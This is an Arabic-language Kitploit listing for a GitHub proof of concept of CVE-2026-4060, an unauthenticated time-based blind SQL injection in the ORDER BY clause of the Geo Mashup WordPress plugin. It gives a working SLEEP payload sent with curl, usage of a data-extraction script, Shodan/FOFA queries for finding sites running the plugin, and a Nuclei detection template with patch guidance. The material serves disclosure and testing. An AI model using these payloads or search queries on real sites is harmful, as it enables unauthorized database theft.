Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-4060-PoC — إثبات المفهوم لـ CVE-2026-4060: حقن SQL أعمى زمني غير مصادق عليه في إضافة Geo Mashup لووردبريس عبر عبارة ORDER BY. يتضمن نص برمجي للاستغلال، بيئة مختبرية، وقالب اكتشاف Nuclei. | Kitploit
أدوات/GitHubGitHub/ydking0911/cve-2026-4060-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليم
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

إثبات المفهوم لـ CVE-2026-4060: حقن SQL أعمى زمني غير مصادق عليه في إضافة Geo Mashup لووردبريس عبر عبارة ORDER BY. يتضمن نص برمجي للاستغلال، بيئة مختبرية، وقالب اكتشاف Nuclei.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 ثغرة حقن SQL غير مصادق عليها (PoC)

Severity CVSS Type Status

المهاجمون غير المصادق عليهم يمكنهم حقن استعلامات SQL عشوائية في جملة ORDER BY عبر معامل sort في نقطة النهاية render-map الخاصة بـ Geo Mashup، مما يسمح باستخراج عمى بيانات استناداً إلى الوقت من قاعدة البيانات الحساسة.


جدول المحتويات

  • نظرة عامة على الثغرة
  • بيئة الاختبار
  • كيفية التشغيل
  • نتائج الاختبار
  • التخفيف
  • الكشف
  • الجدول الزمني
  • المراجع

نظرة عامة على الثغرة

تفاصيل فنية

يتم تمرير معامل sort الذي تستقبله نقطة النهاية render-map مباشرة إلى استدعاء $wpdb->get_results() دون تعقيم:

root@kitploit:~
// render-map.php (مبسط)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

نظرًا لأن $sort يتم إدراجه كما هو، يمكن للمهاجم حقن استعلام فرعي في جملة ORDER BY. يقوم wpdb في WordPress بتهريب علامات الاقتباس المفردة، لذلك يستخدم الإثبات (PoC) ORD(SUBSTRING(...)) مع مقارنات رقمية لتجاوز هذا القيد واستخراج البيانات العمياء استناداً إلى الوقت.

نقطة النهاية المعرضة للخطر:

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<الحمولة>

بيئة الاختبار

بنية المختبر

root@kitploit:~
┌─────────────────────────────────┐
│  المضيف (localhost:8080)        │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 نشط في لوحة تحكم WordPress:

Geo Mashup 1.13.18 نشط في لوحة تحكم WordPress


كيفية التشغيل

1. تشغيل المختبر

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh سيقوم بما يلي:

  • تشغيل حاويات WordPress 6.8.2 + MariaDB 11.4
  • تثبيت وتفعيل Geo Mashup 1.13.18 (الإصدار المعرض) عبر WP-CLI
  • إنشاء منشور بعلامات جغرافية بحيث تعيد نقطة النهاية استجابة صالحة

بمجرد الانتهاء:

  • الموقع: http://localhost:8080
  • لوحة الإدارة: http://localhost:8080/wp-admin (المستخدم: admin / كلمة المرور: admin)

2. تأكيد الثغرة (حقن SLEEP)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

تأخير في الاستجابة لمدة ~8 ثوانٍ يؤكد وجود حقن SQL في ORDER BY.

3. استخراج البيانات (PoC)

root@kitploit:~
# الوضع الافتراضي — طباعة النتائج المستخرجة فقط
python3 poc.py --url http://localhost:8080

# الوضع المفصل — عرض كل حمولة وزمن الاستجابة والحرف المستخرج
python3 poc.py --url http://localhost:8080 --verbose

# تأكيد SQLi فقط، تخطي استخراج البيانات
python3 poc.py --url http://localhost:8080 --confirm-only

4. تشغيل قالب كشف Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. إيقاف المختبر

root@kitploit:~
docker compose down -v

نتائج الاختبار

إيجابية حقيقية (TP) — هدف معرض

TP-1: تأكيد حقن ORDER BY SLEEP(8)

حقن استعلام فرعي SLEEP(8) عبر معامل sort ينتج عنه تأخير في الاستجابة لمدة ~8 ثوانٍ.

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) عبر ORDER BY — استجابة 8.05 ثانية

TP-2: استخراج البيانات (وضع مفصل)

الإثبات (PoC) يستخرج البيانات حرفاً بحرف باستخدام مقارنات ORD(SUBSTRING(...)): إرسال الحمولة → قياس زمن الاستجابة → تأكيد الحرف عند تشغيل SLEEP.

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py مفصل — الحمولة، التوقيت، الأحرف المستخرجة

البيانات المستخرجة:

الاستعلامالنتيجة
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: كشف قالب Nuclei

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

تم الفحص في 8.07 ثانية. تم العثور على تطابق واحد.

إيجابية خاطئة (FP) — هدف غير معرض

يستخدم قالب Nuclei تدفقاً من خطوتين لمنع النتائج الإيجابية الخاطئة.

FP-1: Geo Mashup غير مثبت

إذا أرجع readme.txt خطأ 404 في الخطوة الأولى، يخرج الفحص فوراً دون إرسال حمولة SQL.

root@kitploit:~
تم الفحص في 62 مللي ثانية. لم يتم العثور على تطابقات.   ✅

FP-2: الإصدار المصلح (≥ 1.13.19)

التحقق من إصدار الإضافة عبر readme.txt:

readme.txt يظهر Stable tag: 1.13.18

إذا فشل compare_versions(version, '<= 1.13.18')، يتم تخطي الخطوة الثانية بالكامل.

root@kitploit:~
تم الفحص في 19 مللي ثانية. لم يتم العثور على تطابقات.   ✅

التخفيف

الإجراءالتفاصيل
التحديثترقية Geo Mashup إلى 1.13.19 أو أحدث
مؤقتتعطيل الإضافة حتى يتم تطبيق التحديث
جدار الحماية (WAF)حظر أنماط حقن الاستعلامات الفرعية في جمل

التصحيح: plugins.trac.wordpress.org/changeset/3503627


الكشف

قالب Nuclei: nuclei/CVE-2026-4060.yaml

تدفق الكشف:

root@kitploit:~
الخطوة 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → تأكيد وجود الإضافة + الإصدار <= 1.13.18

الخطوة 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → الحالة 200 + GeoMashup.createMap + المدة >= 8 ثوانٍ

Shodan / FOFA:

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

الجدول الزمني

التاريخالحدث
2026-04تم اكتشاف الثغرة
2026-04تم الإبلاغ لمطور الإضافة
2026-05إصدار التصحيح Geo Mashup 1.13.19
2026-05-14تم تعيين CVE والإفصاح العام

المراجع

  • NVD — CVE-2026-4060
  • إعلان Wordfence
  • تغييرات الإضافة (الإصلاح)
  • CWE-89

إخلاء المسؤولية

هذا المستودع مخصص لأغراض الاختبار الأمني التعليمي والمصرح به فقط.
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
المؤلف غير مسؤول عن أي استخدام خاطئ لهذه المواد.

تنزيل الأداة
الحقلالتفاصيل
CVECVE-2026-4060
الإضافةGeo Mashup بواسطة cyberhobo
المتأثر≤ 1.13.18
ثابت في1.13.19
CVSS v3.17.5 (عالي) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — تحييد غير صحيح للعناصر الخاصة في SQL
مطلوب مصادقةلا شيء (غير مصادق عليه)
المكونالإصدار
النظامmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (معرض)
Python3.x (لـ poc.py)
Nucleiv3.8.0
ORDER BY